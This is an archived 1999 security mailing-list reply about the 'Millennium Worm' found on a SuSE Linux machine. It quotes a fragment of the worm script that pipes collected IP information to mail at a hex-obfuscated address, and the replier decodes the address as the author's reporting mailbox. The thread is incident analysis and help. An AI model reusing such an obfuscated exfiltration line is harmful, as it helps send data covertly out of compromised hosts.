Re: MW

From: Peter van Dijk (peterat_private)
Date: Sat Sep 04 1999 - 09:39:49 PDT

Next message: Paul Leach (Exchange): "Re: IE 5.0 allows executing programs"

Previous message: silvioat_private: "Unix Virus list (fwd)"
Maybe in reply to: Christian Koderer: "MW"
Next in thread: Adam Morrison: "Re: MW"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On Wed, Sep 01, 1999 at 09:11:57AM +0200, Christian Koderer wrote:
> Knows anybody MW (millennium worm?) and how i get my s.u.s.e
> installation clean?
>
> "#!/bin/.mwsh
> # Millennium Worm by Anonymous
> # If you found this on your machine, but didn't download it
> # well.. you have a problem :)

I think you indeed do have a problem here :)

[snip]

> ./IP | mail `printf
> "\x62\x65\x75\x72\x70\x40\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"`

beurpat_private

Looks like a worm that tries a couple of exploits and mails
beurpat_private when successful.

Greetz, Peter
--
| 'He broke my heart,      |                              Peter van Dijk |
     I broke his neck'     |                     peterat_private |
   nognikz - As the sun    |        Hardbeat@ircnet - #cistron/#linux.nl |
http://www.nognikz.mdk.nu/ | Hardbeat@undernet - #groningen/#kinkfm/#vdh |

Next message: Paul Leach (Exchange): "Re: IE 5.0 allows executing programs"
Previous message: silvioat_private: "Unix Virus list (fwd)"
Maybe in reply to: Christian Koderer: "MW"
Next in thread: Adam Morrison: "Re: MW"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:02:03 PDT